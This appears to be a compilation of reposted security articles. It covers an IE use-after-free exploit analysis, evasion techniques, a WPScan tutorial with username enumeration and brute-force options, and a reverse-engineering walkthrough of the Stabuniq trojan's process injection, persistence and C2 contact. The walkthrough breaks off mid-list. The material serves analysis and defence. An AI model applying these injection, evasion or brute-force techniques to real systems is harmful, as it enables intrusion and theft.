001bb168 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 1:028> dc edi 00235880 001bb0f8 02367fc8 02367fe0 0018ec10 ......6...6..... 00235890 0019eff0 0019f008 0019f020 0019f038 ........ ...8... 002358a0 0019f050 0019f068 0019f080 0019f098 P...h........... 002358b0 0019f0b0 0019f0c8 0019f0e0 0019f0f8 ................ 002358c0 0019f110 0019f128 0019f140 0019f158 ....(...@...X... 002358d0 0019f170 0019f188 eaa4d113 ff0c0100 p............... 002358e0 3cf74690 0021fac0 00234b90 3cf77870 .F.<..!..K#.p 1:028> dc poi(edi+10) 0019eff0 00790063 006e0061 50540000 302e312f c.y.a.n...TP/1.0 0019f000 e88f2258 ff0e0120 00790063 006e0061 X".. ...c.y.a.n. 0019f010 6d690000 48656c70 e88f225b ff0e0130 ..impleH["..0... 0019f020 00790063 006e0061 0a0d0000 65746144 c.y.a.n.....Date 0019f030 e88f225e ff0e0164 00790063 006e0061 ^"..d...c.y.a.n. 0019f040 30200000 37353a31 e88f2251 ff0e0147 .. 01:57Q"..G... 0019f050 00790063 006e0061 70790000 74203a65 c.y.a.n...ype: t 0019f060 e88f2254 ff0e0168 00790063 006e0061 T"..h...c.y.a.n. From here you can probably use the default ROP chains for Windows XP but I didnt bother trying that. Conclusion This is just another Internet Explorer use-after-free bug which was actually relatively easy to analyse and exploit. I used some new and/or non public techniques to get a reliable exploit that doesn't require heapspray, but all in all this bug can be exploited quite reliably. If you are interested in analyzing vulnerabilities and writing exploits for them you can take a look at our training, which will focus on IE9. It is not easy to defend against these type of attacks, but by getting as many details on as many exploitable vulnerabilities as possible we believe we can provide our clients with additional tools and information to strengthen their defenses. If you want more information on this you can contact us at info@exodusintel.com. - Peter Vreugdenhil Exodus Inteligence Sursa: Happy New Year Analysis of CVE-2012-4792
-
Researchers find malware targeting Java HTTP servers he malware has backdoor functionality and runs as a JavaServer Page (JSP) file By Lucian Constantin December 28, 2012 08:19 AM ET IDG News Service - Security researchers from antivirus vendor Trend Micro have uncovered a piece of backdoor-type malware that infects Java-based HTTP servers and allows attackers to execute malicious commands on the underlying systems. The threat, known as BKDR_JAVAWAR.JG, comes in the form of a JavaServer Page (JSP), a type of Web page that can only be deployed and served from a specialized Web server with a Java servlet container, such as Apache Tomcat. Once this page is deployed, the attacker can access it remotely and can use its functions to browse, upload, edit, delete, download or copy files from the infected system using a Web console interface. This is similar to the functionality provided by PHP-based backdoors, commonly known as PHP Web shells. "Aside from gaining access to sensitive information, an attacker gains control of the infected system thru the backdoor and can carry out more malicious commands onto the vulnerable server," Trend Micro researchers said Thursday in a blog post. This JSP backdoor can be installed by other malware already running on the system that hosts the Java-based HTTP server and Java servlet container or can be downloaded when browsing to malicious websites from such a system. According to Trend Micro's technical notes, the malwaretargets systems running Windows 2000, Windows Server 2003, Windows XP, Windows Vista and Windows 7. "Another possible attack scenario is when an attacker checks for websites powered by Apache Tomcat then attempts to access the Tomcat Web Application Manager," the Trend Micro researchers said. "Using a password cracking tool, cybercriminals are able to login and gain manager/administrative rights allowing the deployment of Web application archive (WAR) files packaged with the backdoor to the server." In order to protect their servers from such threats, administrators should use strong passwords that cannot be easily cracked by using brute force tools, should deploy all security updates available for their systems and software and should avoid visiting unknown and untrusted websites, the Trend Micro researchers said. Sursa: Researchers find malware targeting Java HTTP servers - Computerworld
-
Time Is Not On Your Side Description: TIME IS NOT ON YOUR SIDE Mitigating Timing Side Channels on the Web In this year’s talk, I tie on my 28c3 talk and present timing side channels from a defending viewpoint: How can one mitigate timing side channels? Aren’t random delays sufficient to prevent timing side channels in practice? What is the minimum size of random delays to be effective? Are there other delay strategies besides random delays that are more effective and efficient? Timing side channels are vulnerabilities in software applications that leak sensitive information about secret values such as cryptographic keys. They differ from common intrusive vulnerabilities such as Buffer Overflows or SQL-Injection because the attacker sends normally looking requests to the server and infers secret information just from the time it took to process the request. Timing attacks are getting increasingly well understood by day-to-day penetration testers and in academia, breaking Web standards such as XML Encryption [1], or helping to fingerprint Web Application Firewalls [2]. At 28c3, I gave the talk “Time is on my Side” [3], which gave an overview of timing attacks, introduced a set of tools for timing attacks and explained practical timing attacks against real applications. In this year’s talk, I tie on my 28c3 talk and present timing side channels from a defending viewpoint: How can one mitigate timing side channels? Aren’t random delays sufficient to prevent timing side channels in practice? What is the minimum size of random delays to be effective? Are there other delay strategies besides random delays that are more effective and efficient? I am going to present the state-of-the-art of timing side channel mitigation. Furthermore, I show the results of a practical evaluation of the timing attack mitigations. [1]: Bleichenbacher's Attack Strinkes Again: Breaking PKCS#1 v1.5 in XML Encryption. Tibor Jager, Sebastian Schinzel, Juraj Somorovsky. 17th European Symposium on Research in Computer Security (ESORCIS 2012), Veröffentlichungen - Ruhr-Universität Bochum [2]: WAFFle: Fingerprinting Filter Rules of Web Application Firewalls, Isabell Schmitt, Sebastian Schinzel, https://www.usenix.org/conference/woot12/waffle-fingerprinting-filter-rules-web-application-firewalls [3]: Time is on my Side. Sebastian Schinzel. 28C3: Time is on my Side PDF : - http://events.ccc.de/congress/2012/Fahrplan/attachments/2235_29c3-schinzel.pdf Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Time Is Not On Your Side
-
[h=1]KERNEL: Creation of Thread Environment Block (TEB)[/h] //http://waleedassar.blogspot.com //http://www.twitter.com/waleedassar The following demonstrates the allocation and creation of Thread Environment Blocks (TEB) in 64-bit versions of Windows e.g. Windows 7. This takes place in the "MmCreateTeb" function. This function is responsible for most of the TEB stuff, which is as follows: A) It determines whether the process is native (64-bit) or Wow64 (32-bit) by querying the "Wow64Process" field of the "_EPROCESS" structure. In case of Wow64 Processes, this field holds the address of the process's 32-bit Process Environment Block (PEB). On the other hand, this field is zero in case of native 64-bit processes. N.B. In case of Wow64 Processes, each process has two Process Environment Blocks (PEB), a 64-bit PEB and a 32-bit PEB. And each thread has two Thread Environment Blocks (TEB), a 64-bit TEB and a 32-bit TEB. fffff800`035cf2d2 4c8bb920030000 mov r15,qword ptr [rcx+320h] It attaches to the address space of the target process by calling the "KeStackAttachProcess" function. fffff800`035cf2e4 488d542428 lea rdx,[rsp+28h] fffff800`035cf2e9 e8c23cd4ff call nt!KeStackAttachProcess (fffff800`03312fb0) C) It calls the "MiCreatePebOrTeb" function to allocate space. Either 0x2000 (2 pages, in case of native64 thread) or 0x3000 (3 pages, in case of Wow64 thread). The characteristics of new pages are: Allocation Type : MEM_COMMIT Memory Type : MEM_PRIVATE Protection : PAGE_READWRITE Protection Changeable: FALSE fffff800`035cf2ee 4c8d8c2490000000 lea r9,[rsp+90h] fffff800`035cf2f6 448bc3 mov r8d,ebx fffff800`035cf2f9 488bd7 mov rdx,rdi fffff800`035cf2fc 498bce mov rcx,r14 fffff800`035cf2ff e8fc0e0000 call nt!MiCreatePebOrTeb (fffff800`035d0200) D) It stores the following info. in fields of the 64-bit TEB. 1) 0x1E00 in the "Version" field of the "_NT_TIB" structure. 2) Self pointer in the "Self" field of the "_NT_TIB" structure. 3) Pointer to corresponding 64-bit PEB in the "ProcessEnvironmentBlock" field. 4) Client ID (Process Id + Thread Id) in the "ClientId" field. 5) Client ID (Process Id + Thread Id) in the "RealClientId" field. 6) Value of stack base in the "StackBase" field of the "_NT_TIB" structure. 7) Value Of stack limit in the "StackLimit" field of the "_NT_TIB" structure. 8) Address at which stack has been allocated in the "DeallocationStack" field. 9) Initializes the "StaticUnicodeString" UNICODE_STRING with 0x020A as maximum length. 10) The value of nt!BBTBuffer in the "ReservedForPerf" field. 11) TXF_MINIVERSION_DEFAULT_VIEW in the "TxFsContext" field. 12) If it is a native64 process, zero is written to the "ExceptionList" field of "NT_TIB". else if it is a Wow64 process, the address of 32-bit TEB is written to the "ExceptionList" field and then starts to copy/write to the 32-bit TEB the following info: 1') 0xFFFFFFFF in the "ExceptionList" field of NT_TIB since no handlers have been set. 2') Copy the "Version" field from the 64-bit TEB. 3') Self pointer in the "Self" field of the "_NT_TIB" structure. 4') Pointer to corresponding 32-bit PEB in the "ProcessEnvironmentBlock" field. 5') Copy Client ID (Process Id + Thread Id) from 64-bit TEB. 6') Copy Client ID (Process Id + Thread Id) from 64-bit TEB. 7') Initializes the "StaticUnicodeString" UNICODE_STRING with 0x020A as maximum length. 8') Store the address of corresponding 64-bit TEB at offset 0xF70. 9') Copy the "Vdm" field from the 64-bit TEB. 10') TXF_MINIVERSION_DEFAULT_VIEW in the "TxFsContext" field. 11') Value of stack base in the "StackBase" field of the "_NT_TIB" structure. 12') Value Of stack limit in the "StackLimit" field of the "_NT_TIB" structure. 13') Address at which 32-bitstack has been allocated in the "DeallocationStack" field. E) It detaches from the address space of the target process by calling the "KeUnstackDetachProcess" function. Sursa: KERNEL: Creation of Thread Environment Block (TEB) - Pastebin.com
-
How To Use BSD To Setup A Firewall/Gateway [TABLE=class: datatable] [TR] [TD=class: highlight]Linked to[/TD] [TD=class: lowlight] [Audio] How To Use BSD To Setup A Firewall/Gateway [/TD] [/TR] [TR] [TD=class: highlight]Event[/TD] [TD=class: lowlight] DEFCON 7[/TD] [/TR] [/TABLE] [TABLE=class: datatable] [TR] [TD=class: highlight, colspan: 2]Download[/TD] [/TR] [TR] [TD=class: highlight]Source[/TD] [TD=class: lowlight]DEF%20CON%207%20Hacking%20Conference%20Presentation%20By%20Cyber%20-%20How%20To%20Use%20BSD%20Set%20Up%20A%20Firewall%20-%20Video.m4v[/TD] [/TR] [TR] [TD=class: highlight]Size[/TD] [TD=class: lowlight]112.5 MB[/TD] [/TR] [/TABLE] Download: https://media.defcon.org/dc-7/video/DEF%20CON%207%20Hacking%20Conference%20Presentation%20By%20Cyber%20-%20How%20To%20Use%20BSD%20Set%20Up%20A%20Firewall%20-%20Video.m4v Sursa: IT Security and Hacking knowledge base - SecDocs
-
IPv6: Who/What/When/Where/How/Why [TABLE=class: datatable] [TR] [TD=class: highlight, colspan: 2]Download[/TD] [/TR] [TR] [TD=class: highlight]Source[/TD] [TD=class: lowlight]DEF%20CON%207%20Hacking%20Conference%20Presentation%20By%20Dr%20Byte%20-%20Ipv6%20Who%20What%20When%20Where%20How%20Why%20-%20Audio.m4b[/TD] [/TR] [TR] [TD=class: highlight]Size[/TD] [TD=class: lowlight]12.7 MB[/TD] [/TR] [/TABLE] Download: https://media.defcon.org/dc-7/audio/DEF%20CON%207%20Hacking%20Conference%20Presentation%20By%20Dr%20Byte%20-%20Ipv6%20Who%20What%20When%20Where%20How%20Why%20-%20Audio.m4b
-
[h=1]Known RFI Payload Reference Hashes[/h] One of the attacks we see the most when running a WordPress based blog, or really any web service, is RFI attacks. The attackers try to abuse poorly designed software or configurations to run their code on our servers. These vulnerabilities have become strangely common due lazy/greedy developers copy and pasting insecure code into their plugins/themes and not properly updating them when vulnerabilities are found. The most common is the TimThumb attack. You can see the details of this attack here in an article written by MaXe(@intern0t), who was researching a lot of botnets based on this exploit along side me when researching for Insecurity of Poorly Designed Remote File Inclusion Vulnerabilities: Pt 1. In this attack(and quite a few others), the payloads are stored as an MD5 of the URL to the payload. It is actually so common, that quite a few of them can be googled, and live versions of these payloads can be found on servers. If you have the source code to those payloads(some of which are stored at my decoder) you can then use those payloads to remove the infection from that server(might not be legal depending on your country of residence). Also, you can use a list of the hashes of the known URLs to make sure your system is not compromised. Since I have been archiving every RFI payload that shows up on my WAF, in Attack Scanner, every one I get from Irongeek’s Webshell and RFI collection, then any submitted by any site running any of the scripts I’ve put out to collect these shells, I decided that I should release a list of these hashes, since I was basically already storing them with a very similar naming scheme. For the first version of the list, I just put them up on pastebin. I figure at some later point when I have more storage, I will incorporate it into the decoder and make a full API for querying the lists of data, as well as more information from the decoder itself. RFI Payload Locations .php was appended to make searching for the files on your file system easier. Sursa: https://www.ballastsecurity.net/php/known-rfi-payload-reference-hashes/
-
[h=3]Internet Explorer - 2012 Last Minute 0-Day[/h] Using Zero Days attacks at end of the year are not the most considerate thing to do for the security industry…. needless to say that the recent discovery of the attack, that was using Internet Explorer 0-day (CVE-2012-4792) found on the Council Foreign Relations (CFR) portal, has interrupted the holiday vacation of many people in the industry that had to quickly respond to the new security threat. Probably one of the reasons for launching new attacks during holiday periods is because of the belief that IT administrators and the security industry will be slower to respond. The attackers have put lots of effort to evade detection and make the attack successful– first, of course, by using the zero-day (an unpatched and unknown security flow) and secondly by using evasion techniques to avoid detection by security tools. On this post I will highlight some interesting measures taken by the attackers. From the samples we received, the html page that executes the attack didn’t include the exploit code of CVE-2012-4792 itself but instead it uses AJAX to retrieve an obfuscated java script string from a file: Figure1: Retrieving the exploit code using AJAX, deobfuscating it and executing the code using eval This technique is mainly used for evading security tools that statically scan pages. For more details about evasion technique using AJAX please read this post. Another interesting thing to pay attention for is the name of the file that includes the obfuscated string: “robots.txt”. This file is usually used by web server owners to give instructions to web robots/crawlers about theirs sites. I assume that using a file that no one suspects and that possibly is not scanned by some security tools could be another way of evading detection. The attackers have also used a flash file (today.SWF) to JIT-spray the memory with a shellcode. They use several techniques to circumvent ASLR and DEP protections according to the spec of the victim's machine (browser and plugins combo). They bypass ASLR, for example, using java6 MSVC71.DLL or Office hxdx.dll. The ActionScript within the flash file refers to the parent html page in order to get the data about the victim and then executes the relevant spray. This DOM-to-ActionScript interaction potentially makes some security engines lose orientation and probably fail detection. Figure 2: ActionScript code snippet referring to the parent html page. Microsoft has released on December 31st a fix-it tool to prevent the vulnerability from being exploited. Customers of TrustWave Secure Web Gateway are protected against the attack used in CFR by blocking the flash file that is using the heap spray and also against the Metasploit module that was recently developed by blocking the the html page that is also spraying the memory. I would like to thank to Arseny Levin and Moshe Basanchig for their assistance with analyzing this threat. Sursa: Internet Explorer - 2012 Last Minute 0-Day - SpiderLabs Anterior
-
Scan a wordpress website with Wpscan – Part 1 : Basic Scan In this tutorial we will demonstrate how to use Wpscan, a vulnerability scanner, in order to perform a basic scan to our wordpress website for known vulnerabilities. First, lets take a look at what is Wpscan. WPScan is a black box WordPress Security Scanner written in Ruby which attempts to find known security weaknesses within WordPress installations. Its intended use it to be for security professionals or WordPress administrators to asses the security posture of their WordPress installations. The code base is Open Source and licensed under the GPLv3. Features include: Username enumeration (from ?author) Weak password cracking (multithreaded) Version enumeration (from generator meta tag) Vulnerability enumeration (based on version) Plugin enumeration (todo) Plugin vulnerability enumeration (based on version) (todo) Other miscellaneous checks Installation WPScan comes pre-installed on the following Linux distributions: BackBox Linux BackTrack Linux (outdated WPScan installed, update needed) Pentoo SamuraiWTF Note: In this tutorial I will be using Backbox 3.0 However, you can install it on Debian/Ubuntu, Fedora and Mac OSX Prerequisites: Windows not supported Ruby => 1.9 RubyGems Git Installing on Debian/Ubuntu: sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby libxml2 libxml2-dev libxslt1-dev git clone https://github.com/wpscanteam/wpscan.git cd wpscan sudo gem install bundler && bundle install --without test development Installing on Fedora sudo yum install libcurl-devel git clone https://github.com/wpscanteam/wpscan.git cd wpscan sudo gem install bundler && bundle install --without test development Installing on Mac OSX: git clone [URL]https://github.com/wpscanteam/wpscan.git[/URL] cd wpscan sudo gem install bundler && bundle install --without test development If you face any short of problems and for more information and about installing and known issues visit project’s page Wpscan by wpscanteam Preparation For demonstration purposes I have created a wordpress website, which is hosted locally, to my apache server. The name of the website is: wp_site and it’s url is: http://localhost/wp_site. You have to replace it with either a url of an existing website, i.e. http://www.your-web-site.com or with the path of your localhost. By this point you should have Wpscan installed and your target website up’ n’ running. Studying Time Let’s take a look at the help page in order to get familiar with the arguments : Some values are settable in conf/browser.conf.json : user-agent, proxy, threads, cache timeout and request timeout --update Update to the latest revision --url | -u <target url> The WordPress URL/domain to scan. --force | -f Forces WPScan to not check if the remote site is running WordPress. --enumerate | -e [option(s)] Enumeration. option : u usernames from id 1 to 10 u[10-20] usernames from id 10 to 20 (you must write [] chars) p plugins p! only vulnerable plugins t timthumbs T themes T! only vulnerable themes Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins If no option is supplied, the default is 'tup!' --config-file | -c <config file> Use the specified config file --follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not --wp-content-dir <wp content dir> WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed --wp-plugins-dir <wp plugins dir> Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed --proxy Supply a proxy in the format host:port or protocol://host:port (will override the one from conf/browser.conf.json). HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given (format host:port), HTTP will be used --wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute. --threads | -t <number of threads> The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json) --username | -U <username> Only brute force the supplied username. --help | -h This help screen. --verbose | -v Verbose output.Hands-on time Open a terminal and navigate to the folder, where Wpscan is installed. In my case it is in : /opt/backbox/wpscan Wpscan offers a variety of features, we will start by doing a simple non-intrusive scan. In terminal type: ruby wpscan.rb --url localhost/wp_site Output: [+] The WordPress theme in use is catch-box v1.6.2 [!] The WordPress 'http://localhost/wp_site/readme.html' file exists [+] WordPress version 3.5 identified from meta generator With this scan, we gathered information about the theme that is in use, the existence of readme.html and the version of installed wordpress. Now, we will perform a scan at website, asking WPscan to use all enumerated tools. That could be information about themes, plugins, usernames etc. In terminal type: ruby wpscan.rb --url localhost/wp_site --enumerate Output: BUSTED! Among other information, such as theme, installed plugins and wordpress version, we gathered 2 interesting clues: A known vulnerability! It is highlighted with red text, and the program provides a url of the exploit. Usernames of the website’s users. Wpscan Vulnerability Scanner is a powerfull tool with great features. However, the purpose of this tutorial is to demonstrate how to perform a *basic* scan. Thus, we will not show further scans. In Part 2 we will see how we can take advantage of the information we gathered performing a scan to a target wordpress website. Stay tuned! Sursa: [tutorial] Scan a wordpress website with Wpscan – Part 1 : Basic Scan | antonis manaras
-
[h=1]Public Replay: THA Deep Dive – Analyzing Malware in Memory[/h]December 31, 2012 On Monday December 18, 2012 we had our first THA Deep Dive Webinar. Andrew Case, THA instructor and Volatility core developer, discussed Analyzing Malware in Memory. Andrew went over many topics, starting with what memory forensics actually is, and the differences between memory and live forensics. He then went on to discuss Volatility, a framework for the extraction of digital artifacts from volatile memory (RAM) samples. Detailed information about Volatility covered the following areas: Overview Per-Process Analysis API hooking Misc. Process Data GUI Subsystem Registry in Memory Callbacks IRP Hooking Devices MBR & MFT The session wrapped up with suggested resources for further reading, as well as reference links in the slides. There were some audio issues during the presentation, so as you watch the video, know that it isn’t your computer! The slides are available for download here. Please feel free to contact us if you have any questions! Download slides: www.thehackeracademy.com/wp-content/uploads/2012/12/THA-Deep-Dive-Analyzing-Malware-in-Memory.pdf Prezentare: https://www.thehackeracademy.com/public-replay-tha-deep-dive-analyzing-malware-in-memory/
-
Stabuniq Financial Infostealer Trojan Analysis January 2, 2013 By Evilcry According to Symantec, Stabuniq is a financial infostealer trojan which has been found on servers belonging to financial institutions, including banking firms and credit unions. The Trojan also compromised home computer users and computers at security firms. Targets sounds interesting, so here at UIC R.E.Academy we decided to take an in depth look to this trojan by adopting a classical Reverse Engineering approach. Binary Geometry The sample we are going to reverse could be downloaded from Contagiodump and presents the following basic characteristics: MD5: F31B797831B36A4877AA0FD173A7A4A2 SHA1: 17DB1BBAA1BF1B920E47B28C3050CBFF83AB16DE FileSize: 77.50 KB (79360 bytes) The executable is detected as belonging to: Microsoft Visual C++ 6.0 First Inspection First inspection is done, as you know, by observing the binary from a disassembler perspective in order to understand the structure of the code that we are going to analyse and successively getting our hands directly into the assembly. Let’s take a first look to the Call Flow of Stabuinq: The picture clearly shows that the points of major interest are: WinMain (obvious) sub_40F400 due to the presence of interesting API calls like CreateProcessW and SetThreadContext Once we have a clear idea of what are the core points of our binary we can switch to a dynamic approach, by using a debugger, in order to understand how the code works. Additionally it’s interesting to observe that there is a lack of indicative strings, this means that this executable is probably packed and/or containts a secondary executable that is decoded and dropped at runtime. Debugging and carving the second Stabuniq executable As previously observed WinMain is our starting point, in this case the call is located as follows: .text:0040F63E loc_40F63E: ; CODE XREF: start+C9j .text:0040F63E push eax ; nShowCmd .text:0040F63F push [ebp+lpCmdLine] ; lpCmdLine .text:0040F642 push esi ; hPrevInstance .text:0040F643 push esi ; lpModuleName .text:0040F644 call ds:GetModuleHandleA .text:0040F64A push eax ; hInstance .text:0040F64B call _WinMain@16 ; WinMain(x,x,x,x) .text:0040F650 mov [ebp+var_60], eax .text:0040F653 push eax ; Code .text:0040F654 call _exit .text:0040F654 start endp Let’s move inside WinMain now: 0040F3C5 PUSH 208 ; /Count = 520. 0040F3CA PUSH EDX ; |Buffer 0040F3CB PUSH 0 ; |hModule = NULL 0040F3CD CALL <&KERNEL32.GetModuleFilenameW> 0040F3D3 CALL 0040F2D0 ; stabuniq.0040F2D0 0040F3D8 LEA EAX,[LOCAL.129] 0040F3DC PUSH ESI 0040F3DD PUSH EAX 0040F3DE CALL 0040F400 ; call observed in 0040F3E3 ADD ESP,8 ; the call flow 0040F3E6 XOR EAX,EAX 0040F3E8 POP EDI 0040F3E9 POP ESI 0040F3EA ADD ESP,230 0040F3F0 RETN 10 At address 0040F3DE we have CALL 0040F400, that as you should remember from the previously seen call flow, contains some interesting point of investigation. 0040F44C PUSH OFFSET 00414F80 ; /pProcessInformation = 414F80 0040F451 PUSH OFFSET 004145F0 ; |pStartupInfo = 4145F0 0040F456 PUSH 0 ; |CurrentDirectory = NULL 0040F458 PUSH 0 ; |pEnvironment = NULL 0040F45A PUSH 4 ; |CreationFlags = CREATE_SUSPENDED 0040F45C PUSH 0 ; |InheritHandles = FALSE 0040F45E PUSH 0 ; |pThreadSecurity = NULL 0040F460 PUSH 0 ; |pProcessSecurity = NULL 0040F462 MOV EBP,EAX ; | 0040F464 CALL DWORD PTR DS:[<GetCommandLineW>] 0040F46A MOV ECX,DWORD PTR SS:[ARG.1] 0040F46E PUSH EAX ; |CommandLine 0040F46F PUSH ECX ; |ApplicationName => [ARG.1] 0040F470 CALL [<CreateProcessW>] ; \KERNEL32.CreateProcessW A new process is created with CREATE_SUSPENDED flag, in this way our binary could drop in the suspended process blocks of decrypted code and once memory filling is completed, via ResumeThread API call, the malicous process will execute the new dropped code. A little bit after we have 0040F48F PUSH 40 ; PAGE_EXECUTE_READWRITE 0040F491 PUSH 3000 ; MEM_COMMIT|MEM_RESERVE 0040F496 PUSH ECX 0040F497 PUSH EDX 0040F498 PUSH EAX 0040F499 CALL DWORD PTR DS:[414F54] ; VirtualAllocEx PAGE_EXECUTE_READWRITE flag is often a very interesting point because this is a typical element which clearly indicates that a block of executable code is placed in the selected memory area. The picture below show the content of the PAGE_EXECUTE_READWRITE memory block: As you can see we have a PE structure in memory but a double MZ stub, we can now dump the buffer and resize the file in order to eliminate the first MZ stub by cutting from the buffer start to the second ‘M’. Our original executable now will transfer this code into the newly created process via WriteProcessMemory and finally via ResumeThread the secondary process is executed. Preliminary Analysis via Volatility We can now proceed with the analysis: the next step will be to run the unpacked version of Stabuniq and analyze the memory through Volatility in order to get a better understanding of what’s happening behind the curtains. vol.exe pslist -f stabuniq.vmem Volatile Systems Volatility Framework 2.1 Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ———- ——————– —— —— —— ——– —— —— ——————– ——————– 0x825c87c0 System 4 0 55 345 —— 0 0x824873e8 smss.exe 368 4 3 19 —— 0 2012-12-21 14:24:43 ……. 0x82061b10 wuauclt.exe 1200 1024 11 659 0 0 2012-12-21 14:26:07 0x8202b1a8 iexplore.exe 3408 3104 9 157 0 0 2012-12-21 14:27:42 0x820983c8 iexplore.exe 3428 3408 3 35 0 0 2012-12-21 14:27:43 We can clearly see a couple instances of Internet Explorer launched from a process that’s not in the list (PPID 3104) they most probably are shadow IE instances, invisible to the user. Let’s dig a bit deeper to find out if there’s any outgoing connection: vol.exe connscan -f stabuniq.vmem Volatile Systems Volatility Framework 2.1 Offset(P) Local Address Remote Address Pid ———- ————————- ————————- — 0×02029168 192.168.45.33:1093 75.102.25.76:80 3408 …. Our shadow instance of IE attempted a connection on port 80 to 75.102.25.76 which translates to ns2.mktdns.com.br. It appears to be a DNS with a webserver configured. It’s time to check for injected code into both the instances: vol.exe malfind -p 3408 -f stabuniq.vmem Process: iexplore.exe Pid: 3408 Address: 0×160000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 7, MemCommit: 1, PrivateMemory: 1, Protection: 6 0×160000 55 PUSH EBP 0×160001 8bec MOV EBP, ESP 0×160003 83ec14 SUB ESP, 0×14 0×160006 53 PUSH EBX 0×160007 56 PUSH ESI 0×160008 57 PUSH EDI 0×160009 e800000000 CALL 0x16000e 0x16000e 5b POP EBX 0x16000f 81eb6e2b4000 SUB EBX, 0x402b6e 0×160015 895dfc MOV [EBP-0x4], EBX 0×160018 8b4508 MOV EAX, [EBP+0x8] 0x16001b 8b4dfc MOV ECX, [EBP-0x4] 0x16001e 898814020000 MOV [EAX+0x214], ECX 0×160024 c745f400000000 MOV DWORD [EBP-0xc], 0×0 0x16002b 8b55f4 MOV EDX, [EBP-0xc] 0x16002e 6bd228 IMUL EDX, EDX, 0×28 0×160031 8b4508 MOV EAX, [EBP+0x8] 0×160034 33c9 XOR ECX, ECX 0×160036 668b8c1032120000 MOV CX, [EAX+EDX+0x1232] 0x16003e 85c9 TEST ECX, ECX vol.exe malfind -p 3428 -f TEST-d46942a3.vmem Process: iexplore.exe Pid: 3428 Address: 0×160000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 7, MemCommit: 1, PrivateMemory: 1, Protection: 6 0×160000 55 PUSH EBP 0×160001 8bec MOV EBP, ESP 0×160003 83ec14 SUB ESP, 0×14 0×160006 53 PUSH EBX 0×160007 56 PUSH ESI 0×160008 57 PUSH EDI 0×160009 e800000000 CALL 0x16000e 0x16000e 5b POP EBX 0x16000f 81eb6e2b4000 SUB EBX, 0x402b6e 0×160015 895dfc MOV [EBP-0x4], EBX 0×160018 8b4508 MOV EAX, [EBP+0x8] 0x16001b 8b4dfc MOV ECX, [EBP-0x4] 0x16001e 898814020000 MOV [EAX+0x214], ECX 0×160024 c745f400000000 MOV DWORD [EBP-0xc], 0×0 0x16002b 8b55f4 MOV EDX, [EBP-0xc] 0x16002e 6bd228 IMUL EDX, EDX, 0×28 0×160031 8b4508 MOV EAX, [EBP+0x8] 0×160034 33c9 XOR ECX, ECX 0×160036 668b8c1032120000 MOV CX, [EAX+EDX+0x1232] 0x16003e 85c9 TEST ECX, ECX We can confirm that both the instances have some, identical, injected code. Let’s check the registry hive: vol.exe -f stabuniq.vmem printkey -K “Software\Microsoft\Windows\CurrentVersion\Run” Volatile Systems Volatility Framework 2.1 Legend: (S) = Stable (V) = Volatile … Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\default Key name: Run (S) Last updated: 2012-12-28 10:14:34 Subkeys: Values: … REG_SZ 2ee3cb67-8ecb-4af7-965a-ac0a4dcc1ed9 : (S) C:\Programmi\ComPlus Applications\Uninstall\smagent.exe Apparently the startup method is pretty straightforward, a random GUID pointing to the trojan’s executable. Let’s now switch to dynamic analysis to better understand what’s going on. Dynamic Analysis of the Main Module Right at the beginning of the unpacked executable’s WinMain() procedure we find: .text:00401788 push 10000 ; dwMilliseconds .text:0040178D call ds:Sleep possibly a simple trick to fool Sandbox analysis software. We can safely patch it and proceed. .text:004018FD push offset Name ; "StabilityMutexString" .text:00401902 push 0 ; bInitialOwner .text:00401904 push 0 ; lpMutexAttributes .text:00401906 call ds:CreateMutexW .text:0040190C mov [ebp+var_241C], eax .text:00401912 call ds:GetLastError .text:00401918 cmp eax, 0B7h ; ERROR_ALREADY_EXISTS Next a mutex called “StabilityMutexString” is created to ensure that only a single instance of this malware is running. If the mutex is found the application stops calling ExitProcess(). After this check several strings are initialized and all the APIs required by the malware are resolved through GetProcAddress() from this routine: .text:00402AD3 getProcsFromLib proc near ; CODE XREF: WinMain(x,x,x,x)+639p .text:00402AD3 ; WinMain(x,x,x,x)+649p ... .text:00402AD3 .text:00402AD3 hModule = dword ptr -4 .text:00402AD3 proc = dword ptr 8 .text:00402AD3 lpLibFileName = dword ptr 0Ch .text:00402AD3 .text:00402AD3 push ebp .text:00402AD4 mov ebp, esp .text:00402AD6 push ecx .text:00402AD7 mov eax, [ebp+lpLibFileName] .text:00402ADA push eax ; lpLibFileName .text:00402ADB call ds:LoadLibraryW .text:00402AE1 mov [ebp+hModule], eax .text:00402AE4 .text:00402AE4 loc_402AE4: ; CODE XREF: getProcsFromLib+49j .text:00402AE4 mov ecx, [ebp+proc] .text:00402AE7 cmp dword ptr [ecx], 0 .text:00402AEA jz short loc_402B1E .text:00402AEC mov edx, [ebp+proc] .text:00402AEF mov eax, [edx] .text:00402AF1 push eax ; lpProcName .text:00402AF2 mov ecx, [ebp+hModule] .text:00402AF5 push ecx ; hModule .text:00402AF6 call ds:GetProcAddress .text:00402AFC mov edx, ptr_proc .text:00402B02 mov [edx], eax .text:00402B04 mov eax, [ebp+proc] .text:00402B07 add eax, 4 .text:00402B0A mov [ebp+proc], eax .text:00402B0D mov ecx, ptr_proc .text:00402B13 add ecx, 4 .text:00402B16 mov ptr_proc, ecx .text:00402B1C jmp short loc_402AE4 .text:00402B1E ; --------------------------------------------------------------------------- .text:00402B1E .text:00402B1E loc_402B1E: ; CODE XREF: getProcsFromLib+17j .text:00402B1E mov esp, ebp .text:00402B20 pop ebp .text:00402B21 retn 8 .text:00402B21 getProcsFromLib endp What’s going on here? The first parameter is a NULL-terminated array containing all the functions that needs to be retrieved, the second parameter is the library that the malware wants to query. Each API is resolved and put back into an external buffer. This is the list of all APIs requested: 